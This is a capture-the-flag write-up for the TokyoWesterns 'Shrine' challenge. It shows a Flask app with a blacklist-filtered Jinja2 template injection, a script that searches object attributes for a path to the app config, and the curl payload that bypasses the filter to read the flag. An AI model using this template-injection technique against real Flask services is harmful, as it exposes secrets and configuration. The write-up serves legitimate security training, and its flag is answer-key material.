Rating: 4.1

## Shrine

Source code `app.py`:

```python
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)
```

Although `config` and `self` are unset, `request` is still available. I believed that `app.config` may be somewhere.. To search for it, I wrote a function to traverse over child attributes of `request` recursively:

```python
# search.py

def search(obj, max_depth):

visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)
```

Modified `app.py`:

```python
import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path

if __name__ == '__main__':
app.run(debug=True)

```

```shell
$ python3 app.py &

$ curl 0:5000/shrine/123
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']

$ curl -g "http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}"
TWCTF{pray_f0r_sacred_jinja2}
```

JLC – Sept. 3, 2018, 5:06 a.m.

excellent!